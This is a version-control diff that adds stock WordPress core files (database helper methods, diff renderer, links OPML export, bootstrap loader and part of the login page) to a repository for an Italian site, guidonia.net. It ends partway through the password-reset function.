+			return null;
+
+		if ( $output == OBJECT ) {
+			// Return an integer-keyed array of row objects
+			return $this->last_result;
+		} elseif ( $output == OBJECT_K ) {
+			// Return an array of row objects with keys from column 1
+			// (Duplicates are discarded)
+			foreach ( $this->last_result as $row ) {
+				$key = array_shift( get_object_vars( $row ) );
+				if ( !isset( $new_array[ $key ] ) )
+					$new_array[ $key ] = $row;
+			}
+			return $new_array;
+		} elseif ( $output == ARRAY_A || $output == ARRAY_N ) {
+			// Return an integer-keyed array of...
+			if ( $this->last_result ) {
+				$i = 0;
+				foreach( (array) $this->last_result as $row ) {
+					if ( $output == ARRAY_N ) {
+						// ...integer-keyed row arrays
+						$new_array[$i] = array_values( get_object_vars( $row ) );
+					} else {
+						// ...column name-keyed row arrays
+						$new_array[$i] = get_object_vars( $row );
+					}
+					++$i;
+				}
+				return $new_array;
+			}
+		}
+	}
+
+	/**
+	 * Retrieve column metadata from the last query.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $info_type one of name, table, def, max_length, not_null, primary_key, multiple_key, unique_key, numeric, blob, type, unsigned, zerofill
+	 * @param int $col_offset 0: col name. 1: which table the col's in. 2: col's max length. 3: if the col is numeric. 4: col's type
+	 * @return mixed Column Results
+	 */
+	function get_col_info($info_type = 'name', $col_offset = -1) {
+		if ( $this->col_info ) {
+			if ( $col_offset == -1 ) {
+				$i = 0;
+				foreach( (array) $this->col_info as $col ) {
+					$new_array[$i] = $col->{$info_type};
+					$i++;
+				}
+				return $new_array;
+			} else {
+				return $this->col_info[$col_offset]->{$info_type};
+			}
+		}
+	}
+
+	/**
+	 * Starts the timer, for debugging purposes.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return true
+	 */
+	function timer_start() {
+		$mtime = microtime();
+		$mtime = explode(' ', $mtime);
+		$this->time_start = $mtime[1] + $mtime[0];
+		return true;
+	}
+
+	/**
+	 * Stops the debugging timer.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return int Total time spent on the query, in milliseconds
+	 */
+	function timer_stop() {
+		$mtime = microtime();
+		$mtime = explode(' ', $mtime);
+		$time_end = $mtime[1] + $mtime[0];
+		$time_total = $time_end - $this->time_start;
+		return $time_total;
+	}
+
+	/**
+	 * Wraps errors in a nice header and footer and dies.
+	 *
+	 * Will not die if wpdb::$show_errors is true
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $message
+	 * @return false|void
+	 */
+	function bail($message) {
+		if ( !$this->show_errors ) {
+			if ( class_exists('WP_Error') )
+				$this->error = new WP_Error('500', $message);
+			else
+				$this->error = $message;
+			return false;
+		}
+		wp_die($message);
+	}
+
+	/**
+	 * Whether or not MySQL database is at least the required minimum version.
+	 *
+	 * @since 2.5.0
+	 * @uses $wp_version
+	 *
+	 * @return WP_Error
+	 */
+	function check_database_version()
+	{
+		global $wp_version;
+		// Make sure the server has MySQL 4.0
+		if ( version_compare($this->db_version(), '4.0.0', '<') )
+			return new WP_Error('database_version',sprintf(__('<strong>ERROR</strong>: WordPress %s requires MySQL 4.0.0 or higher'), $wp_version));
+	}
+
+	/**
+	 * Whether of not the database supports collation.
+	 *
+	 * Called when WordPress is generating the table scheme.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @return bool True if collation is supported, false if version does not
+	 */
+	function supports_collation()
+	{
+		return $this->has_cap( 'collation' );
+	}
+
+	/**
+	 * Generic function to determine if a database supports a particular feature
+	 * @param string $db_cap the feature
+	 * @param false|string|resource $dbh_or_table (not implemented) Which database to test.  False = the currently selected database, string = the database containing the specified table, resource = the database corresponding to the specified mysql resource.
+	 * @return bool
+	 */
+	function has_cap( $db_cap ) {
+		$version = $this->db_version();
+
+		switch ( strtolower( $db_cap ) ) :
+		case 'collation' :    // @since 2.5.0
+		case 'group_concat' : // @since 2.7
+		case 'subqueries' :   // @since 2.7
+			return version_compare($version, '4.1', '>=');
+			break;
+		endswitch;
+
+		return false;
+	}
+
+	/**
+	 * Retrieve the name of the function that called wpdb.
+	 *
+	 * Requires PHP 4.3 and searches up the list of functions until it reaches
+	 * the one that would most logically had called this method.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @return string The name of the calling function
+	 */
+	function get_caller() {
+		// requires PHP 4.3+
+		if ( !is_callable('debug_backtrace') )
+			return '';
+
+		$bt = debug_backtrace();
+		$caller = array();
+
+		$bt = array_reverse( $bt );
+		foreach ( (array) $bt as $call ) {
+			if ( @$call['class'] == __CLASS__ )
+				continue;
+			$function = $call['function'];
+			if ( isset( $call['class'] ) )
+				$function = $call['class'] . "->$function";
+			$caller[] = $function;
+		}
+		$caller = join( ', ', $caller );
+
+		return $caller;
+	}
+
+	/**
+	 * The database version number
+	 * @param false|string|resource $dbh_or_table (not implemented) Which database to test.  False = the currently selected database, string = the database containing the specified table, resource = the database corresponding to the specified mysql resource.
+	 * @return false|string false on failure, version number on success
+	 */
+	function db_version() {
+		return preg_replace('/[^0-9.].*/', '', mysql_get_server_info( $this->dbh ));
+	}
+}
+
+if ( ! isset($wpdb) ) {
+	/**
+	 * WordPress Database Object, if it isn't set already in wp-content/db.php
+	 * @global object $wpdb Creates a new wpdb object based on wp-config.php Constants for the database
+	 * @since 0.71
+	 */
+	$wpdb = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/wp-diff.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/wp-diff.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/wp-diff.php	(revision 44)
@@ -0,0 +1,471 @@
+<?php
+/**
+ * WordPress Diff bastard child of old MediaWiki Diff Formatter.
+ *
+ * Basically all that remains is the table structure and some method names.
+ *
+ * @package WordPress
+ * @subpackage Diff
+ */
+
+if ( !class_exists( 'Text_Diff' ) ) {
+	/** Text_Diff class */
+	require( dirname(__FILE__).'/Text/Diff.php' );
+	/** Text_Diff_Renderer class */
+	require( dirname(__FILE__).'/Text/Diff/Renderer.php' );
+	/** Text_Diff_Renderer_inline class */
+	require( dirname(__FILE__).'/Text/Diff/Renderer/inline.php' );
+}
+
+/**
+ * Table renderer to display the diff lines.
+ *
+ * @since 2.6.0
+ * @uses Text_Diff_Renderer Extends
+ */
+class WP_Text_Diff_Renderer_Table extends Text_Diff_Renderer {
+
+	/**
+	 * @see Text_Diff_Renderer::_leading_context_lines
+	 * @var int
+	 * @access protected
+	 * @since 2.6.0
+	 */
+	var $_leading_context_lines  = 10000;
+
+	/**
+	 * @see Text_Diff_Renderer::_trailing_context_lines
+	 * @var int
+	 * @access protected
+	 * @since 2.6.0
+	 */
+	var $_trailing_context_lines = 10000;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @var float
+	 * @access protected
+	 * @since 2.6.0
+	 */
+	var $_diff_threshold = 0.6;
+
+	/**
+	 * Inline display helper object name.
+	 *
+	 * @var string
+	 * @access protected
+	 * @since 2.6.0
+	 */
+	var $inline_diff_renderer = 'WP_Text_Diff_Renderer_inline';
+
+	/**
+	 * PHP4 Constructor - Call parent constructor with params array.
+	 *
+	 * This will set class properties based on the key value pairs in the array.
+	 *
+	 * @since unknown
+	 *
+	 * @param array $params
+	 */
+	function Text_Diff_Renderer_Table( $params = array() ) {
+		$parent = get_parent_class($this);
+		$this->$parent( $params );
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $header
+	 * @return string
+	 */
+	function _startBlock( $header ) {
+		return '';
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param array $lines
+	 * @param string $prefix
+	 */
+	function _lines( $lines, $prefix=' ' ) {
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $line HTML-escape the value.
+	 * @return string
+	 */
+	function addedLine( $line ) {
+		return "<td>+</td><td class='diff-addedline'>{$line}</td>";
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $line HTML-escape the value.
+	 * @return string
+	 */
+	function deletedLine( $line ) {
+		return "<td>-</td><td class='diff-deletedline'>{$line}</td>";
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $line HTML-escape the value.
+	 * @return string
+	 */
+	function contextLine( $line ) {
+		return "<td> </td><td class='diff-context'>{$line}</td>";
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @return string
+	 */
+	function emptyLine() {
+		return '<td colspan="2">&nbsp;</td>';
+	}
+
+	/**
+	 * @ignore
+	 * @access private
+	 *
+	 * @param array $lines
+	 * @param bool $encode
+	 * @return string
+	 */
+	function _added( $lines, $encode = true ) {
+		$r = '';
+		foreach ($lines as $line) {
+			if ( $encode )
+				$line = htmlspecialchars( $line );
+			$r .= '<tr>' . $this->emptyLine() . $this->addedLine( $line ) . "</tr>\n";
+		}
+		return $r;
+	}
+
+	/**
+	 * @ignore
+	 * @access private
+	 *
+	 * @param array $lines
+	 * @param bool $encode
+	 * @return string
+	 */
+	function _deleted( $lines, $encode = true ) {
+		$r = '';
+		foreach ($lines as $line) {
+			if ( $encode )
+				$line = htmlspecialchars( $line );
+			$r .= '<tr>' . $this->deletedLine( $line ) . $this->emptyLine() . "</tr>\n";
+		}
+		return $r;
+	}
+
+	/**
+	 * @ignore
+	 * @access private
+	 *
+	 * @param array $lines
+	 * @param bool $encode
+	 * @return string
+	 */
+	function _context( $lines, $encode = true ) {
+		$r = '';
+		foreach ($lines as $line) {
+			if ( $encode )
+				$line = htmlspecialchars( $line );
+			$r .= '<tr>' .
+				$this->contextLine( $line ) . $this->contextLine( $line ) . "</tr>\n";
+		}
+		return $r;
+	}
+
+	/**
+	 * Process changed lines to do word-by-word diffs for extra highlighting.
+	 *
+	 * (TRAC style) sometimes these lines can actually be deleted or added rows.
+	 * We do additional processing to figure that out
+	 *
+	 * @access private
+	 * @since 2.6.0
+	 *
+	 * @param array $orig
+	 * @param array $final
+	 * @return string
+	 */
+	function _changed( $orig, $final ) {
+		$r = '';
+
+		// Does the aforementioned additional processing
+		// *_matches tell what rows are "the same" in orig and final.  Those pairs will be diffed to get word changes
+		//	match is numeric: an index in other column
+		//	match is 'X': no match.  It is a new row
+		// *_rows are column vectors for the orig column and the final column.
+		//	row >= 0: an indix of the $orig or $final array
+		//	row  < 0: a blank row for that column
+		list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final );
+
+
+		// These will hold the word changes as determined by an inline diff
+		$orig_diffs  = array();
+		$final_diffs = array();
+
+		// Compute word diffs for each matched pair using the inline diff
+		foreach ( $orig_matches as $o => $f ) {
+			if ( is_numeric($o) && is_numeric($f) ) {
+				$text_diff = new Text_Diff( 'auto', array( array($orig[$o]), array($final[$f]) ) );
+				$renderer = new $this->inline_diff_renderer;
+				$diff = $renderer->render( $text_diff );
+
+				// If they're too different, don't include any <ins> or <dels>
+				if ( $diff_count = preg_match_all( '!(<ins>.*?</ins>|<del>.*?</del>)!', $diff, $diff_matches ) ) {
+					// length of all text between <ins> or <del>
+					$stripped_matches = strlen(strip_tags( join(' ', $diff_matches[0]) ));
+					// since we count lengith of text between <ins> or <del> (instead of picking just one),
+					//	we double the length of chars not in those tags.
+					$stripped_diff = strlen(strip_tags( $diff )) * 2 - $stripped_matches;
+					$diff_ratio = $stripped_matches / $stripped_diff;
+					if ( $diff_ratio > $this->_diff_threshold )
+						continue; // Too different.  Don't save diffs.
+				}
+
+				// Un-inline the diffs by removing del or ins
+				$orig_diffs[$o]  = preg_replace( '|<ins>.*?</ins>|', '', $diff );
+				$final_diffs[$f] = preg_replace( '|<del>.*?</del>|', '', $diff );
+			}
+		}
+
+		foreach ( array_keys($orig_rows) as $row ) {
+			// Both columns have blanks.  Ignore them.
+			if ( $orig_rows[$row] < 0 && $final_rows[$row] < 0 )
+				continue;
+
+			// If we have a word based diff, use it.  Otherwise, use the normal line.
+			$orig_line  = isset($orig_diffs[$orig_rows[$row]])
+				? $orig_diffs[$orig_rows[$row]]
+				: htmlspecialchars($orig[$orig_rows[$row]]);
+			$final_line = isset($final_diffs[$final_rows[$row]])
+				? $final_diffs[$final_rows[$row]]
+				: htmlspecialchars($final[$final_rows[$row]]);
+
+			if ( $orig_rows[$row] < 0 ) { // Orig is blank.  This is really an added row.
+				$r .= $this->_added( array($final_line), false );
+			} elseif ( $final_rows[$row] < 0 ) { // Final is blank.  This is really a deleted row.
+				$r .= $this->_deleted( array($orig_line), false );
+			} else { // A true changed row.
+				$r .= '<tr>' . $this->deletedLine( $orig_line ) . $this->addedLine( $final_line ) . "</tr>\n";
+			}
+		}
+
+		return $r;
+	}
+
+	/**
+	 * Takes changed blocks and matches which rows in orig turned into which rows in final.
+	 *
+	 * Returns
+	 *	*_matches ( which rows match with which )
+	 *	*_rows ( order of rows in each column interleaved with blank rows as
+	 *		necessary )
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param unknown_type $orig
+	 * @param unknown_type $final
+	 * @return unknown
+	 */
+	function interleave_changed_lines( $orig, $final ) {
+
+		// Contains all pairwise string comparisons.  Keys are such that this need only be a one dimensional array.
+		$matches = array();
+		foreach ( array_keys($orig) as $o ) {
+			foreach ( array_keys($final) as $f ) {
+				$matches["$o,$f"] = $this->compute_string_distance( $orig[$o], $final[$f] );
+			}
+		}
+		asort($matches); // Order by string distance.
+
+		$orig_matches  = array();
+		$final_matches = array();
+
+		foreach ( $matches as $keys => $difference ) {
+			list($o, $f) = explode(',', $keys);
+			$o = (int) $o;
+			$f = (int) $f;
+
+			// Already have better matches for these guys
+			if ( isset($orig_matches[$o]) && isset($final_matches[$f]) )
+				continue;
+
+			// First match for these guys.  Must be best match
+			if ( !isset($orig_matches[$o]) && !isset($final_matches[$f]) ) {
+				$orig_matches[$o] = $f;
+				$final_matches[$f] = $o;
+				continue;
+			}
+
+			// Best match of this final is already taken?  Must mean this final is a new row.
+			if ( isset($orig_matches[$o]) )
+				$final_matches[$f] = 'x';
+
+			// Best match of this orig is already taken?  Must mean this orig is a deleted row.
+			elseif ( isset($final_matches[$f]) )
+				$orig_matches[$o] = 'x';
+		}
+
+		// We read the text in this order
+		ksort($orig_matches);
+		ksort($final_matches);
+
+
+		// Stores rows and blanks for each column.
+		$orig_rows = $orig_rows_copy = array_keys($orig_matches);
+		$final_rows = array_keys($final_matches);
+
+		// Interleaves rows with blanks to keep matches aligned.
+		// We may end up with some extraneous blank rows, but we'll just ignore them later.
+		foreach ( $orig_rows_copy as $orig_row ) {
+			$final_pos = array_search($orig_matches[$orig_row], $final_rows, true);
+			$orig_pos = (int) array_search($orig_row, $orig_rows, true);
+
+			if ( false === $final_pos ) { // This orig is paired with a blank final.
+				array_splice( $final_rows, $orig_pos, 0, -1 );
+			} elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways.  Pad final with blank rows.
+				$diff_pos = $final_pos - $orig_pos;
+				while ( $diff_pos < 0 )
+					array_splice( $final_rows, $orig_pos, 0, $diff_pos++ );
+			} elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways.  Pad orig with blank rows.
+				$diff_pos = $orig_pos - $final_pos;
+				while ( $diff_pos < 0 )
+					array_splice( $orig_rows, $orig_pos, 0, $diff_pos++ );
+			}
+		}
+
+
+		// Pad the ends with blank rows if the columns aren't the same length
+		$diff_count = count($orig_rows) - count($final_rows);
+		if ( $diff_count < 0 ) {
+			while ( $diff_count < 0 )
+				array_push($orig_rows, $diff_count++);
+		} elseif ( $diff_count > 0 ) {
+			$diff_count = -1 * $diff_count;
+			while ( $diff_count < 0 )
+				array_push($final_rows, $diff_count++);
+		}
+
+		return array($orig_matches, $final_matches, $orig_rows, $final_rows);
+
+/*
+		// Debug
+		echo "\n\n\n\n\n";
+
+		echo "-- DEBUG Matches: Orig -> Final --";
+
+		foreach ( $orig_matches as $o => $f ) {
+			echo "\n\n\n\n\n";
+			echo "ORIG: $o, FINAL: $f\n";
+			var_dump($orig[$o],$final[$f]);
+		}
+		echo "\n\n\n\n\n";
+
+		echo "-- DEBUG Matches: Final -> Orig --";
+
+		foreach ( $final_matches as $f => $o ) {
+			echo "\n\n\n\n\n";
+			echo "FINAL: $f, ORIG: $o\n";
+			var_dump($final[$f],$orig[$o]);
+		}
+		echo "\n\n\n\n\n";
+
+		echo "-- DEBUG Rows: Orig -- Final --";
+
+		echo "\n\n\n\n\n";
+		foreach ( $orig_rows as $row => $o ) {
+			if ( $o < 0 )
+				$o = 'X';
+			$f = $final_rows[$row];
+			if ( $f < 0 )
+				$f = 'X';
+			echo "$o -- $f\n";
+		}
+		echo "\n\n\n\n\n";
+
+		echo "-- END DEBUG --";
+
+		echo "\n\n\n\n\n";
+
+		return array($orig_matches, $final_matches, $orig_rows, $final_rows);
+*/
+	}
+
+	/**
+	 * Computes a number that is intended to reflect the "distance" between two strings.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $string1
+	 * @param string $string2
+	 * @return int
+	 */
+	function compute_string_distance( $string1, $string2 ) {
+		// Vectors containing character frequency for all chars in each string
+		$chars1 = count_chars($string1);
+		$chars2 = count_chars($string2);
+
+		// L1-norm of difference vector.
+		$difference = array_sum( array_map( array(&$this, 'difference'), $chars1, $chars2 ) );
+
+		// $string1 has zero length? Odd.  Give huge penalty by not dividing.
+		if ( !$string1 )
+			return $difference;
+
+		// Return distance per charcter (of string1)
+		return $difference / strlen($string1);
+	}
+
+	/**
+	 * @ignore
+	 * @since 2.6.0
+	 *
+	 * @param int $a
+	 * @param int $b
+	 * @return int
+	 */
+	function difference( $a, $b ) {
+		return abs( $a - $b );
+	}
+
+}
+
+/**
+ * Better word splitting than the PEAR package provides.
+ *
+ * @since 2.6.0
+ * @uses Text_Diff_Renderer_inline Extends
+ */
+class WP_Text_Diff_Renderer_inline extends Text_Diff_Renderer_inline {
+
+	/**
+	 * @ignore
+	 * @since 2.6.0
+	 *
+	 * @param string $string
+	 * @param string $newlineEscape
+	 * @return string
+	 */
+	function _splitOnWords($string, $newlineEscape = "\n") {
+		$string = str_replace("\0", '', $string);
+		$words  = preg_split( '/([^\w])/u', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
+		$words  = str_replace( "\n", $newlineEscape, $words );
+		return $words;
+	}
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-links-opml.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-links-opml.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-links-opml.php	(revision 44)
@@ -0,0 +1,65 @@
+<?php
+/**
+ * Outputs the OPML XML format for getting the links defined in the link
+ * administration. This can be used to export links from one blog over to
+ * another. Links aren't exported by the WordPress export, so this file handles
+ * that.
+ *
+ * This file is not added by default to WordPress theme pages when outputting
+ * feed links. It will have to be added manually for browsers and users to pick
+ * up that this file exists.
+ *
+ * @package WordPress
+ */
+
+if (empty($wp)) {
+	require_once('./wp-load.php');
+	wp();
+}
+
+header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
+$link_cat = $_GET['link_cat'];
+if ((empty ($link_cat)) || ($link_cat == 'all') || ($link_cat == '0')) {
+	$link_cat = '';
+} else { // be safe
+	$link_cat = '' . urldecode($link_cat) . '';
+	$link_cat = intval($link_cat);
+}
+?><?php echo '<?xml version="1.0"?'.">\n"; ?>
+<?php the_generator( 'comment' ); ?>
+<opml version="1.0">
+	<head>
+		<title>Links for <?php echo esc_attr(get_bloginfo('name', 'display').$cat_name); ?></title>
+		<dateCreated><?php echo gmdate("D, d M Y H:i:s"); ?> GMT</dateCreated>
+	</head>
+	<body>
+<?php
+
+if (empty ($link_cat))
+	$cats = get_categories("type=link&hierarchical=0");
+else
+	$cats = get_categories('type=link&hierarchical=0&include='.$link_cat);
+
+foreach ((array) $cats as $cat) {
+	$catname = apply_filters('link_category', $cat->name);
+
+?>
+<outline type="category" title="<?php echo esc_attr($catname); ?>">
+<?php
+
+	$bookmarks = get_bookmarks("category={$cat->term_id}");
+	foreach ((array) $bookmarks as $bookmark) {
+		$title = esc_attr(apply_filters('link_title', $bookmark->link_name));
+?>
+	<outline text="<?php echo $title; ?>" type="link" xmlUrl="<?php echo esc_attr($bookmark->link_rss); ?>" htmlUrl="<?php echo esc_attr($bookmark->link_url); ?>" updated="<?php if ('0000-00-00 00:00:00' != $bookmark->link_updated) echo $bookmark->link_updated; ?>" />
+<?php
+
+	}
+?>
+</outline>
+<?php
+
+}
+?>
+</body>
+</opml>
Index: /trunk/www.guidonia.net/wp/wp-load.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-load.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-load.php	(revision 44)
@@ -0,0 +1,54 @@
+<?php
+/**
+ * Bootstrap file for setting the ABSPATH constant
+ * and loading the wp-config.php file. The wp-config.php
+ * file will then load the wp-settings.php file, which
+ * will then set up the WordPress environment.
+ *
+ * If the wp-config.php file is not found then an error
+ * will be displayed asking the visitor to set up the
+ * wp-config.php file.
+ *
+ * Will also search for wp-config.php in WordPress' parent
+ * directory to allow the WordPress directory to remain
+ * untouched.
+ *
+ * @package WordPress
+ */
+
+/** Define ABSPATH as this files directory */
+define( 'ABSPATH', dirname(__FILE__) . '/' );
+
+if ( defined('E_RECOVERABLE_ERROR') )
+	error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR);
+else
+	error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING);
+
+if ( file_exists( ABSPATH . 'wp-config.php') ) {
+
+	/** The config file resides in ABSPATH */
+	require_once( ABSPATH . 'wp-config.php' );
+
+} elseif ( file_exists( dirname(ABSPATH) . '/wp-config.php' ) && ! file_exists( dirname(ABSPATH) . '/wp-settings.php' ) ) {
+
+	/** The config file resides one level above ABSPATH but is not part of another install*/
+	require_once( dirname(ABSPATH) . '/wp-config.php' );
+
+} else {
+
+	// A config file doesn't exist
+
+	// Set a path for the link to the installer
+	if (strpos($_SERVER['PHP_SELF'], 'wp-admin') !== false) $path = '';
+	else $path = 'wp-admin/';
+
+	// Die with an error message
+	require_once( ABSPATH . '/wp-includes/classes.php' );
+	require_once( ABSPATH . '/wp-includes/functions.php' );
+	require_once( ABSPATH . '/wp-includes/plugin.php' );
+	$text_direction = /*WP_I18N_TEXT_DIRECTION*/'ltr'/*/WP_I18N_TEXT_DIRECTION*/;
+	wp_die(sprintf(/*WP_I18N_NO_CONFIG*/'Sembra mancare un file <code>wp-config.php</code>. Questo file Ãš necessario per poter iniziare. Serve aiuto? <a href=\'http://codex.wordpress.org/Editing_wp-config.php\'>Eccolo</a>. &Egrave; possibile creare un file <code>wp-config.php</code> tramite una interfaccia web, ma non funziona con tutte le configurazioni dei server. La strada piÃ¹ sicura Ãš quella di creare manualmente il file.</p><p><a href=\'%ssetup-config.php\' class=\'button\'>Crea un file di configurazione</a>'/*/WP_I18N_NO_CONFIG*/, $path), /*WP_I18N_ERROR_TITLE*/'WordPress &rsaquo; Errore'/*/WP_I18N_ERROR_TITLE*/, array('text_direction' => $text_direction));
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-login.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-login.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-login.php	(revision 44)
@@ -0,0 +1,553 @@
+<?php
+/**
+ * WordPress User Page
+ *
+ * Handles authentication, registering, resetting passwords, forgot password,
+ * and other user handling.
+ *
+ * @package WordPress
+ */
+
+/** Make sure that the WordPress bootstrap has run before continuing. */
+require( dirname(__FILE__) . '/wp-load.php' );
+
+// Redirect to https login if forced to use SSL
+if ( force_ssl_admin() && !is_ssl() ) {
+	if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) {
+		wp_redirect(preg_replace('|^http://|', 'https://', $_SERVER['REQUEST_URI']));
+		exit();
+	} else {
+		wp_redirect('https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
+		exit();
+	}
+}
+
+/**
+ * Outputs the header for the login page.
+ *
+ * @uses do_action() Calls the 'login_head' for outputting HTML in the Log In
+ *		header.
+ * @uses apply_filters() Calls 'login_headerurl' for the top login link.
+ * @uses apply_filters() Calls 'login_headertitle' for the top login title.
+ * @uses apply_filters() Calls 'login_message' on the message to display in the
+ *		header.
+ * @uses $error The error global, which is checked for displaying errors.
+ *
+ * @param string $title Optional. WordPress Log In Page title to display in
+ *		<title/> element.
+ * @param string $message Optional. Message to display in header.
+ * @param WP_Error $wp_error Optional. WordPress Error Object
+ */
+function login_header($title = 'Log In', $message = '', $wp_error = '') {
+	global $error, $is_iphone;
+
+	// Don't index any of these forms
+	add_filter( 'pre_option_blog_public', create_function( '$a', 'return 0;' ) );
+	add_action( 'login_head', 'noindex' );
+
+	if ( empty($wp_error) )
+		$wp_error = new WP_Error();
+	?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+	<title><?php bloginfo('name'); ?> &rsaquo; <?php echo $title; ?></title>
+	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+	<?php
+	wp_admin_css( 'login', true );
+	wp_admin_css( 'colors-fresh', true );
+
+	if ( $is_iphone ) {
+	?>
+	<meta name="viewport" content="width=320; initial-scale=0.9; maximum-scale=1.0; user-scalable=0;" /> 
+	<style type="text/css" media="screen"> 
+	form { margin-left: 0px; }
+	#login { margin-top: 20px; }
+	</style>
+	<?php
+	}
+
+	do_action('login_head'); ?>
+</head>
+<body class="login">
+
+<div id="login"><h1><a href="<?php echo apply_filters('login_headerurl', 'http://wordpress.org/'); ?>" title="<?php echo apply_filters('login_headertitle', __('Powered by WordPress')); ?>"><?php bloginfo('name'); ?></a></h1>
+<?php
+	$message = apply_filters('login_message', $message);
+	if ( !empty( $message ) ) echo $message . "\n";
+
+	// Incase a plugin uses $error rather than the $errors object
+	if ( !empty( $error ) ) {
+		$wp_error->add('error', $error);
+		unset($error);
+	}
+
+	if ( $wp_error->get_error_code() ) {
+		$errors = '';
+		$messages = '';
+		foreach ( $wp_error->get_error_codes() as $code ) {
+			$severity = $wp_error->get_error_data($code);
+			foreach ( $wp_error->get_error_messages($code) as $error ) {
+				if ( 'message' == $severity )
+					$messages .= '	' . $error . "<br />\n";
+				else
+					$errors .= '	' . $error . "<br />\n";
+			}
+		}
+		if ( !empty($errors) )
+			echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
+		if ( !empty($messages) )
+			echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
+	}
+} // End of login_header()
+
+/**
+ * Handles sending password retrieval email to user.
+ *
+ * @uses $wpdb WordPress Database object
+ *
+ * @return bool|WP_Error True: when finish. WP_Error on error
+ */
+function retrieve_password() {
+	global $wpdb;
+
+	$errors = new WP_Error();
+
+	if ( empty( $_POST['user_login'] ) && empty( $_POST['user_email'] ) )
+		$errors->add('empty_username', __('<strong>ERROR</strong>: Enter a username or e-mail address.'));
+
+	if ( strpos($_POST['user_login'], '@') ) {
+		$user_data = get_user_by_email(trim($_POST['user_login']));
+		if ( empty($user_data) )
+			$errors->add('invalid_email', __('<strong>ERROR</strong>: There is no user registered with that email address.'));
+	} else {
+		$login = trim($_POST['user_login']);
+		$user_data = get_userdatabylogin($login);
+	}
+
+	do_action('lostpassword_post');
+
+	if ( $errors->get_error_code() )
+		return $errors;
+
+	if ( !$user_data ) {
+		$errors->add('invalidcombo', __('<strong>ERROR</strong>: Invalid username or e-mail.'));
+		return $errors;
+	}
+
+	// redefining user_login ensures we return the right case in the email
+	$user_login = $user_data->user_login;
+	$user_email = $user_data->user_email;
+
+	do_action('retreive_password', $user_login);  // Misspelled and deprecated
+	do_action('retrieve_password', $user_login);
+
+	$allow = apply_filters('allow_password_reset', true, $user_data->ID);
+
+	if ( ! $allow )
+		return new WP_Error('no_password_reset', __('Password reset is not allowed for this user'));
+	else if ( is_wp_error($allow) )
+		return $allow;
+
+	$key = $wpdb->get_var($wpdb->prepare("SELECT user_activation_key FROM $wpdb->users WHERE user_login = %s", $user_login));
+	if ( empty($key) ) {
+		// Generate something random for a key...
+		$key = wp_generate_password(20, false);
+		do_action('retrieve_password_key', $user_login, $key);
+		// Now insert the new md5 key into the db
+		$wpdb->update($wpdb->users, array('user_activation_key' => $key), array('user_login' => $user_login));
+	}
+	$message = __('Someone has asked to reset the password for the following site and username.') . "\r\n\r\n";
+	$message .= get_option('siteurl') . "\r\n\r\n";
+	$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
+	$message .= __('To reset your password visit the following address, otherwise just ignore this email and nothing will happen.') . "\r\n\r\n";
+	$message .= site_url("wp-login.php?action=rp&key=$key", 'login') . "\r\n";
+
+	$title = sprintf(__('[%s] Password Reset'), get_option('blogname'));
+
+	$title = apply_filters('retrieve_password_title', $title);
+	$message = apply_filters('retrieve_password_message', $message, $key);
+
+	if ( $message && !wp_mail($user_email, $title, $message) )
+		die('<p>' . __('The e-mail could not be sent.') . "<br />\n" . __('Possible reason: your host may have disabled the mail() function...') . '</p>');
+
+	return true;
+}
+
+/**
+ * Handles resetting the user's password.
+ *
+ * @uses $wpdb WordPress Database object
+ *
+ * @param string $key Hash to validate sending user's password
+ * @return bool|WP_Error
+ */
+function reset_password($key) {
+	global $wpdb;
+
+	$key = preg_replace('/[^a-z0-9]/i', '', $key);
+
+	if ( empty( $key ) )
+		return new WP_Error('invalid_key', __('Invalid key'));
+
+	$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
+	if ( empty( $user ) )
+		return new WP_Error('invalid_key', __('Invalid key'));
+
+	// Generate something random for a password...
